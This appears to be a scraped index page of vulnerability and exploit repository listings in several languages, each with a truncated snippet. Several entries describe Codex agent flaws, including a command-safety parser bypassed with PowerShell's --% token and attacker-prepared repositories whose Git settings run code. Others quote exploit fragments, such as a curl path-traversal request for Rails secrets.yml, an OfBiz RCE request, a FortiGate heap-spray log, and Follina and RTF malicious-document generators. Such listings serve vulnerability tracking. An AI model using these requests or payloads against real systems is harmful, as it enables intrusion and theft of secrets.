CVE-2026-19593

OpenAI Codex Desktop for Windows and macOS automatically inspected Git metadata and working-tree status when a user opened a workspace. If the workspace contains a repository with preserved attacker-controlled .git/config, the attr.tree setting and a configured clean or process filter can cause G...

CVE-2026-19592

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS automatically collected Git repository metadata without disabling the repository-local core.fsmonitor setting. If a user opens or uses an attacker-prepared repository whose preserved .git/config sets...

CVE-2026-19591

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19590

OpenAI Codex Desktop for Windows and macOS could execute attacker-controlled Git hooks because automated Git operations trusted the repository's local core.hooksPath setting. If a user opens an attacker-prepared repository whose preserved .git/config points core.hooksPath to an attacker-controlle...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 EXP VMware View Planner RCE CVE-2021-21978 リバースシェル...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline ディレクトリトラバーサルの脆弱性 発見者: Orange Tsai 注意 : デフォルトでは、本番モードで動作しているRailsアプリケーションは本脆弱性の影響を受けません。 エクスプロイト: root@kitploit: curl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 はこのコードで攻撃可能です。（注意：コードは非常に馬鹿げた方法で書かれています。） 概念実証 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray +...

CVE-2019-16724

脆弱性の説明 File Sharing Wizard 1.5.0 は、HTTP POSTパラメータにおけるStructured Exception Handler SEH ベースのバッファオーバーフローを悪用することで、リモートの攻撃者が任意のコード実行を可能にします。 このエクスプロイトはWindows 7 Homeでテストされました。他のプラットフォームでは確実に動作しません。主に研究目的です。...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- これは、CVE-2018-19422 のエクスプロイトを編集したもので、私が遭遇した小さな厄介な問題を修正しています。 CTFでこのエクスプロイトを使用する必要があったのですが、正しく動作させることができず、ログインに失敗し続けました。長い時間をかけてようやく原因がわかりました。それはURL引数の問題でした。URLを指定すると、プログラムは自動的に末尾が / で終わると想定していましたが、私はそうしていませんでした。 私が行っていたこと： http://example.com 正しい方法：...

CVE-2024-32113-POC

Apache OfBiz vulns POC for CVE-2024-32113 The USERNAME and PASSWORD params can be provided at the /ecomseo/AnonContactus interface, which is publicly accessible to anyone. POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST...

PicusSecurity4.Week.Repo

githubRepo 针对 follina 漏洞 CVE-2022-30190 : CVE 0-day MS Offic RCE 又名 msdt follina...

CVE-2022-33891

CVE-2022-33891 概念验证 针对CVE-2022-33891的概念验证，支持设置自定义载荷。 默认情况下不易受攻击 -- 需要将 spark.acls.enable 设置为 TRUE。 预期用途 此脚本的使用仅限于被授权在目标主机上运行载荷以进行漏洞修补的人员。运行此脚本前，请确保您已获得授权。 使用 root@kitploit: git clone https://github.com/west-wind/CVE-2022-33891.git python cve-2022-33891.py 开始使用 此POC期望以CSV文件输入所有目标，文件名为 allTargets.c...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 RCE 描述 Adobe Commerce 版本 2.4.3-p1（及更早版本）和 2.3.7-p2（及更早版本）在结账过程中存在不当的输入验证漏洞。利用此问题无需用户交互，可能导致任意代码执行。 POC RCE...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC 恶意 docx 生成器，用于利用（Microsoft Office Word 远程代码执行）漏洞 此脚本的创建基于 LockedByte 的 CVE-2021-40444 PoC 和 Tothi 的 writeup 使用 首先修改 backup.html 并替换 powershell payload。目前只是使用 IEX'calc.exe' 弹出一个 calc.exe。 python3 exploit.py generate http:// 生成恶意 docx（将位于 out/）后，你可以启动服务器： sudo...

CVE-2023-46012

CVE-2023-46012 LINKSYS AC1900 EA7500v3 IGD UPnP スタックバッファオーバーフローリモートコード実行脆弱性 この脆弱性により、ネットワークに隣接する攻撃者は、影響を受けるLINKSYS EA7500ルーターのインストール環境で任意のコードを実行できます。この脆弱性を悪用するために認証は必要ありません。 この具体的な欠陥は、IGD UPnPサービスへのHTTPリクエストデータの処理に存在します。特定のSOAP...

docker-CVE-2019-11043

用于检测 CVE-2019-11043 的 Docker 镜像和命令 CVE: CVE-2019-11043 描述: 在 PHP 7.1.x 低于 7.1.33、7.2.x 低于 7.2.24 以及 7.3.x 低于 7.3.11 的版本中，某些 FPM 配置下，FPM 模块可能会越过已分配的缓冲区，向为 FCGI 协议数据预留的空间写入数据，从而可能导致远程代码执行。 详情 : https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github 漏洞利用: https://github.com/neex/phuip-fpizdam 帮助...

CVE-2017-0199

CVE-2017-0199 El toolkit de explotación CVE-2017-0199 - v2.0 es un práctico script en Python que proporciona una forma rápida y efectiva de explotar la ejecución remota de código en Microsoft RTF. Puede generar un archivo RTF malicioso y entregar la carga útil de metasploit / meterpreter a la...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE 漏洞利用...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE 用于 Forgot2kEyXCHANGE CVE-2020-0688 的 PoC，使用 PowerShell 编写 用法 此 PoC 需要有效的用户名和密码。 此 PoC 使用 ysoserial.net 创建新的 ViewState，其中包含您通过 -Command 参数指定的命令。 如果您的系统上尚未安装此工具，请在此处下载。 root@kitploit: PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld'...

EUVD-2026-69418

Cleartext storage of sensitive information in the @step and @remote decorator pipeline component in Amazon SageMaker Python SDK before v3.11.0 and v2.256.0 might allow an authenticated remote user to extract the HMAC signing key from SageMaker DescribePipeline API responses and forge valid...